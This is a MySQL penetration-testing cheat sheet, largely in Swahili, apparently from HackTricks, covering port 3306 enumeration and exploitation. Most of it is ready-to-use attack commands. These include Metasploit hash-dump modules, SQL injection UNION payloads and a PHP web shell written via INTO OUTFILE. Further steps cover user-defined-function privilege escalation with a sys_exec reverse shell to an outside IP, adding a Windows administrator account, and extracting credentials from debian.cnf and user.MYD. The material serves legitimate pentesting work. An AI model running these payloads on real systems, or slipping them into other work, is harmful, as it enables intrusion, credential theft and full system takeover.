3306 - Pentesting Mysql

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Taarifa za Msingi

MySQL inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi (RDBMS) ambao upatikana bure. Inafanya kazi kwenye Lugha ya Kuuliza Iliyoandikwa (SQL), ikiruhusu usimamizi na uendeshaji wa hifadhidata.

Bandari ya Kawaida: 3306

3306/tcp open  mysql

Unganisha

Mitaa

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Mbali

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

Baadhi ya hatua za kuhesabu zinahitaji akreditivu halali

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Andika data yoyote ya binary

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Amri za MySQL

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Uainishaji wa Ruhusa za MySQL

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Unaweza kuona katika hati maana ya kila ruhusa: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}}

MySQL kusoma faili kwa hiari na mteja

Kwa kweli, unapojaribu kuchukua data za ndani kwenye jedwali maudhui ya faili server ya MySQL au MariaDB inamwomba mteja aisome na kutuma maudhui. Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na server yako ya MySQL, unaweza kusoma faili za hiari.
Tafadhali zingatia kwamba hii ni tabia inayotumika:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Kumbuka neno "local")
Kwa sababu bila "local" unaweza kupata:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

PoC ya Awali: https://github.com/allyshka/Rogue-MySql-Server
Katika karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kulipanua hadi RCE: https://paper.seebug.org/1113/
Hapa unaweza kupata muhtasari wa shambulio: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mtumiaji wa Mysql

Itakuwa ya kuvutia sana ikiwa mysql inafanya kazi kama root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Mipangilio Hatari ya mysqld.cnf

Katika usanidi wa huduma za MySQL, mipangilio mbalimbali inatumika kufafanua uendeshaji wake na hatua za usalama:

• Mipangilio ya user inatumika kutaja mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.
• password inatumika kuanzisha nenosiri linalohusiana na mtumiaji wa MySQL.
• admin_address inaeleza anwani ya IP inayosikiliza kwa muunganisho wa TCP/IP kwenye kiolesura cha mtandao wa usimamizi.
• Kigezo cha debug kinadhihirisha usanidi wa sasa wa urekebishaji, ikiwa ni pamoja na taarifa nyeti ndani ya kumbukumbu.
• sql_warnings inasimamia ikiwa nyaraka za taarifa zinaundwa kwa taarifa za INSERT za safu moja wakati onyo linapotokea, zikiwa na data nyeti ndani ya kumbukumbu.
• Pamoja na secure_file_priv, wigo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuimarisha usalama.

Kuinua Mamlaka

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

Ikiwa mysql server inafanya kazi kama root (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia user defined functions. Na ili kuunda user defined unahitaji library kwa ajili ya OS inayofanya kazi mysql.

Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya locate "*lib_mysqludf_sys*". Faili za .so ni linux libraries na .dll ni za Windows, chagua ile unayohitaji.

Ikiwa huna hizo libraries, unaweza ama kutafuta au kupakua hii linux C code na kuikamilisha ndani ya mashine ya linux iliyo hatarini:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na ufuate hatua zifuatazo:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Kutolewa kwa hati za MySQL kutoka kwa faili

Ndani ya /etc/mysql/debian.cnf unaweza kupata nenosiri la maandiko la mtumiaji debian-sys-maint

cat /etc/mysql/debian.cnf

Unaweza kutumia hizi sifa kuingia kwenye hifadhidata ya mysql.

Ndani ya faili: /var/lib/mysql/mysql/user.MYD unaweza kupata hash zote za watumiaji wa MySQL (wale ambao unaweza kutoa kutoka mysql.user ndani ya hifadhidata).

Unaweza kuzitoa kwa kufanya:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Kuwezesha uandishi wa kumbukumbu

Unaweza kuwezesha uandishi wa kumbukumbu za mysql queries ndani ya /etc/mysql/my.cnf kwa kuondoa alama kwenye mistari ifuatayo:

Faili za Manufaa

Faili za Usanidi

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• Historia ya Amri
• ~/.mysql.history
• Faili za Kumbukumbu
• connections.log
• update.log
• common.log

Hifadhidata/Tafiti za MySQL za Kawaida

HackTricks Amri za Otomatiki

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'